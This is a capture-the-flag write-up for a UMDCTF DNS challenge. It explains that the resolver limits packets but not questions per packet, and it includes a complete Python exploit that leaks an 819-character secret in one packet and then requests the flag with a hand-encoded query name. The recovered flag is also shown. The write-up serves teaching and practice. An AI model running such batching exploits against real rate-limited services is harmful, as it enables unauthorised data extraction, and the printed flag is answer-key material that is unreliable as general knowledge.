Skip to main content

Insider-info Write-up

Initial Requirement

The challenge service exposes a DNS resolver over a two-packet custom transport:

  • Host: challs.umdctf.io
  • Port: 32323
  • Goal: recover the flag from the resolver

The provided server code shows the intended behavior:

  • A random secret of length 819 is generated and split into 63-byte labels.
  • If a TXT query matches the full hidden subdomain, the resolver returns the flag.
  • If a TXT query matches *.inside.info, the resolver returns secret[index] where index comes from the first label.
  • Only two packets are accepted total.

Relevant code paths in dns_server.py:

  • Secret generation: k = 819, secret = random.choices(...)
  • Flag condition: if qname == subdomain + ".inside.info"
  • Leak condition: elif qname.matchWildcard("*.inside.info")
  • Two-request limit: for _ in range(2)

Core Idea

The bug is not cryptographic. It is a protocol abuse issue:

  • The server limits the number of DNS packets, not the number of questions inside a packet.
  • The resolver loops through every question in request.questions.

That means one packet can contain hundreds of TXT questions and leak the entire secret in a single request.

The solve becomes:

  1. Send one DNS packet containing 819 TXT questions: 0.inside.info, 1.inside.info, ..., 818.inside.info.
  2. Collect one leaked character from each answer and reconstruct the 819-byte secret.
  3. Rebuild the hidden subdomain using 63-byte labels.
  4. Send the second and final packet asking for that exact name as a TXT query.
  5. Read the returned flag TXT record.

Trial and Error

1. Straightforward dnslib query building

The first packet was easy to construct with dnslib because it only needs many questions in one DNS message.

The second packet was harder. A normal DNSQuestion build failed because the reconstructed hostname is too long for dnslib’s standard encoder.

2. Compression-pointer attempt

I tried to bypass the name-length issue with a pointer-based raw packet. That did not work reliably because the packet encoding was not matching the server-side parser the way I expected.

3. Final solution: raw DNS encoding

The working fix was to manually encode the second query name as raw DNS labels instead of relying on dnslib’s name builder.

This avoids the client-side length check and still produces a valid query that the resolver compares against its hidden subdomain.

Exploit Script

import socket, struct
from dnslib import DNSRecord, DNSQuestion, QTYPE

HOST = "challs.umdctf.io"
PORT = 32323

def recvn(sock, n):
data = b""
while len(data) < n:
chunk = sock.recv(n - len(data))
if not chunk:
raise EOFError("connection closed")
data += chunk
return data

def encode_dns_name(labels):
out = b""
for label in labels:
lb = label.encode()
if len(lb) > 63:
raise ValueError("label too long")
out += bytes([len(lb)]) + lb
return out + b"\x00"

with socket.create_connection((HOST, PORT), timeout=20) as s:
req1 = DNSRecord()
for i in range(819):
req1.add_question(DNSQuestion(f"{i}.inside.info", QTYPE.TXT))
p1 = req1.pack()
s.sendall(len(p1).to_bytes(2, "big") + p1)

l1 = int.from_bytes(recvn(s, 2), "big")
resp1 = DNSRecord.parse(recvn(s, l1))

secret = ["?"] * 819
for rr in resp1.rr:
try:
idx = int(str(rr.rname).split(".")[0])
ch = str(rr.rdata).strip('"')
if 0 <= idx < 819 and len(ch) == 1:
secret[idx] = ch
except Exception:
pass

sstr = "".join(secret)
labels = [sstr[i:i+63] for i in range(0, 819, 63)] + ["inside", "info"]

qname = encode_dns_name(labels)
header = struct.pack("!HHHHHH", 0x2222, 0x0100, 1, 0, 0, 0)
qtail = struct.pack("!HH", 16, 1) # TXT, IN
p2 = header + qname + qtail
s.sendall(len(p2).to_bytes(2, "big") + p2)

l2 = int.from_bytes(recvn(s, 2), "big")
resp2 = DNSRecord.parse(recvn(s, l2))
for rr in resp2.rr:
print(str(rr.rdata).strip('"'))

Flag

The recovered flag was:

UMDCTF{5Ur31Y_N0_0N3_W111_N071C3_MY_1N51D3r_7r4D1N6}

Flag Meaning

The flag is leetspeak for:

"Surely no one will notice my insider trading"

That fits the challenge theme very well:

  • 5Ur31Y -> Surely
  • N0_0N3 -> no one
  • W111 -> will
  • N071C3 -> notice
  • 1N51D3r_7r4D1N6 -> insider trading

Takeaway

The important lesson is that packet-count limits are not enough if a single packet can contain many logical operations. Here, the resolver trusted the number of DNS questions in a packet, which allowed complete secret recovery in one request and the flag in the second.